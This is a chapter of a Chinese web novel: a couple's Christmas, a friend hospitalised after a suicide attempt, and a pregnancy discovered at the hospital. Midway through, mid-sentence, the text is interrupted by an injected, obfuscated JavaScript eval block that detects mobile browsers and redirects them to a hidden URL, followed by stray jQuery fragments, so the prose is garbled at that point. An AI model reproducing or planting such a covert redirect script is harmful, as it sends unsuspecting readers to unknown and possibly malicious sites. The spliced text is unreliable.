朝暮更迭千回，三载岁月已从指缝漏成细沙。


    文清指尖的面粉正簌簌落在刻度精准的电子秤上。全职煮夫的第四年，他早把菜谱迭代到7.2版本——从最初抱着立殴在炒锅里手忙脚乱，到如今能从容操控空气炸锅、破壁机、砂锅与烤箱的协奏曲。灶台上贴着晓枫的手写便签：“晚餐吃玛格丽特，爱你宝宝”，字迹带着她特有的跳脱。


    晓枫的摩托车头盔还挂着夜露，裹着晨露的赛道训练早已开始。结束后她径直赶往商学院，参加《供应链风险管理》的案例研讨。车队储物柜里摞着三叠写满批注的教材，柜门上贴着姜家湾小姑娘用铅笔临摹的画——画里的她正骑着摩托车飞驰，车轮扬起夸张的尘土。


    两人分头去了两个村组，隔着屏幕核对物资清单时，发现彼此手机日程里都标着同一天：12月15日。那天既是晓枫亚洲锦标赛的排位赛，也是文清主持的留守儿童厨房改造项目竣工日。


    腊梅在夜里悄悄开了，雪花给圣诞树覆上一层银装，像极了产房外通宵未灭的灯。晓枫刚结束与饶海怡的视频通话，手机屏幕还残留着父女俩说笑时的温度。她轻手轻脚地上楼，木质楼梯发出细微的吱呀声，像在哼一首关于平安夜的小调。


    “领导，孩子们都睡了。”文清站在走廊暖黄的壁灯下，指了指儿童房虚掩的门缝，里面传来均匀的呼吸声。“我去洗澡了？”他压低声音问，尾音带着笑意。


    晓枫突然竖起食指抵在唇前，眼睛亮得像偷到糖果的小孩。“你等我一下。”她转身时裙角扬起轻盈的弧度，像片雪花消失在走廊转角。文清倚在浴室磨砂玻璃门前，能听见自己手表秒针走动的声音，嗒，嗒，嗒，敲在寂静里。


    “给！”她献宝似的举起一张彩纸，在浴室蒸腾的雾气里泛着虹光。文清接过展开，“这什么？”


    “观看票。”


    文清突然弯腰将她腾空抱起，晓枫的惊呼被淹没在氤氲水雾中。“你个小妖精……”他咬着她发烫的耳垂轻笑，花洒溅起的水珠在瓷砖上跳成欢快的圆舞曲。


    两个小时后，床头柜上的手机突然震动，划出焦虑的轨迹。晓枫从被窝里伸出的手臂还泛着沐浴露的玫瑰香，电话那头樊阿姨的声音像根骤然绷紧的弦：“周洋在急诊室……”


    文清正把下巴搁在她肩窝，犬齿轻轻磨蹭着那块敏感的肌肤。晓枫猛地起身时，他痛呼一声撞在床头上。“对不起对不起……”她慌乱的手指抚过他下巴泛红的印记，电话那头是冰冷的急讯，指尖这头却是他温热的皮肤。


    挂断电话的瞬间，卧室仿佛骤然降温。文清用羽绒被把她裹成茧，从背后环抱的力度泄露着不安。“明天送完孩子，”他吻着她发顶轻声说，手指穿过她的长发，“我陪你去。”


    晓枫把脸埋进他带着相同沐浴露香气的胸膛，听见两颗心脏以不同的频率跳动，最终渐渐重合。


    2020年12月25日，曼林医院病房门口，周骁和樊薇薇如坐针毡地守着。当文清和晓枫的身影出现在走廊尽头时，两人像触电般猛地站起。樊薇薇三步并作两步冲上前，颤抖的双手紧紧攥住晓枫的手腕，指甲几乎要嵌进皮肤：“谢谢你能来。”她声音里的破碎感让晓枫心头一紧。


    “周洋哥怎么了？”晓枫的声音陡然拔高，走廊的白炽灯在她骤然收缩的瞳孔里投下惨白的光。樊薇薇别过脸，泪水在医用消毒水的气味中划出闪亮的轨迹，哽咽着说不出话。


    当周骁吐出“轻生”两个字时，晓枫感觉脚下的地砖突然塌陷——这个词像把钝刀，生生劈开了圣诞节该有的温馨。四人沉默地挪到病房前，金属门把手上凝结着冬日的寒气。周勇和管床医生推门而出时，晓枫一个箭步拦住他：“爸！周洋哥他……”


    “他在等你。”周勇的声音像被砂纸磨过，低垂的头颅让鬓角的白发显得格外刺目。他机械地从晓枫身侧擦过，落在文清肩头的手掌沉重如铅。文清缓缓跌坐在病房门口的座椅上。


    晓枫的手指在门把上停顿了三秒，金属的寒意顺着指尖爬上来，钻进骨髓。推开门时，心电监护仪的“滴滴”声像定时炸弹的倒计时，撞进耳膜。


    病床上的人形让她瞬间屏住呼吸——周洋左腕缠着渗血的纱布，脸颊凹陷得能看清颧骨的轮廓，睫毛在青黑的眼窝投下蛛网般的阴影。


    他闭着眼，眼睑颤动时，晓枫才发现窗帘缝隙的光斑正落在他锁骨的凹陷处。“把窗帘……拉上……”沙哑的声音突然响起。


    晓枫的指尖碰到他右手腕上的住院手环，塑料边缘已经磨出了毛边。


    床头显示屏的“重度抑郁”四个字泛着刺目的红光。晓枫的指尖掠过周洋凌乱的发梢，滑向他颤抖的肩胛，“周洋哥，不怕。”她突然撞进一双空洞的眼睛——那对总盛满笑意的眸子，此刻像被抽干的枯井。


    周洋突然攥住晓枫的手腕，泪水滑落，“你不选我是对的……”他的脊椎弯成问号，“我连选择离开的权利都没有。”


    晓枫的拇指摩挲着他左手腕的纱布，“还疼吗？”这个触碰让周洋条件反射地想抽手，却被她更用力地扣住。


    “记得我爸爸‘失踪’的时候吗？”晓枫突然张开双臂，“你现在需要这个。”当周洋迟疑的指尖刚要垂落，她整个人撞进他怀里。


    “谢谢！”周洋的下巴抵在她肩窝，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501309|184327||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声音发闷，“有时候我真希望自己不是周家的人，就做个朝九晚五的普通人，为心爱的人做顿饭，接孩子放学……”


    晓枫收紧环抱的手臂：“是啊，普通多好。”


    “姥爷那天告诉我，”周洋突然盯着天花板上闪烁的消防指示灯，虹膜映出诡异的红光，“周陈两家签了200亿的协议。”他喉结滚动着吞咽了一下，“我按他们要求跪着敬茶，妈妈还是当众扇我耳光，说周家不养优柔寡断的废物。”


    晓枫盯着周洋的眼睛，希望他能接住自己眼底的光。一瞬，他的嘴角扯出古怪的弧度，“我的那个未婚妻跟她的网球教练厮混，被人拍了亲密照，真讽刺啊……”


    她突然抓起周洋颤抖的手腕，心电监护仪的节奏渐渐平稳。晓枫缓缓开口：“这些事，都定义不了你的价值。”她抬手拭去他睫毛上的泪珠，“我一直觉得周洋哥很好——专注时的认真，下厨时的细致，陪孩子时的耐心，都让我感动。你总无条件支持我，无论是赛车还是别的梦想，那份鼓励的力量很珍贵。还有那场无人机表演，那本育儿手册，虽然‘俗气’，但那一刻的用心，现在想起来仍觉得美好。”


    “我们还能不能继续？”


    “我们在用另外一种方式继续。”


    晓枫亮出手机照片。周洋的泪水砸在屏幕上，模糊了那个黑溜溜大眼睛的男孩：“这不是卢卡斯，也不是奥斯卡。”


    “这是立殴——我们的孩子。”晓枫的泪珠悬在睫毛上，摇摇欲坠。


    “我们的孩子？”周洋的眼泪又“嗒嗒”坠落，晓枫按住他抽搐的手背，“现在，你要为他好好活着。”


    周勇的指节在门板上叩出两声钝响，病房里的抽泣声像被刀切断。晓枫正用掌心抹过眼角，突然按住胸口，喉间发出一声短促的哽噎——像有人猛地攥紧了她的胃袋，酸水涌上喉头的瞬间，她踉跄着跪倒在地。


    “小心！”周勇一把捞住她手肘，将她扶到病房外的座椅上。


    文清伸手去擦她湿漉漉的脸颊，拇指蹭过她浮肿的眼睑：“没事吧……”话未说完，晓枫已经栽进他怀里，耳廓紧贴他胸腔。规律的心跳声中，她突然想起早晨刷牙时，牙膏的薄荷味引发的剧烈反胃，还有前天突如其来的眩晕——这些碎片还没来得及拼凑，胃部又是一阵痉挛。她猛地推开文清，冲向垃圾桶干呕起来。


    “去妇科看看吧。”周勇的声音在身后响起。


    他白大褂里的手机震得“嗡嗡”响，检查单上的字迹清晰无比：晓枫，孕6周+3天，HCG值90200。窗外的雪不知何时停了，一缕阳光穿透云层，落在那张薄薄的纸上，泛着暖融融的光。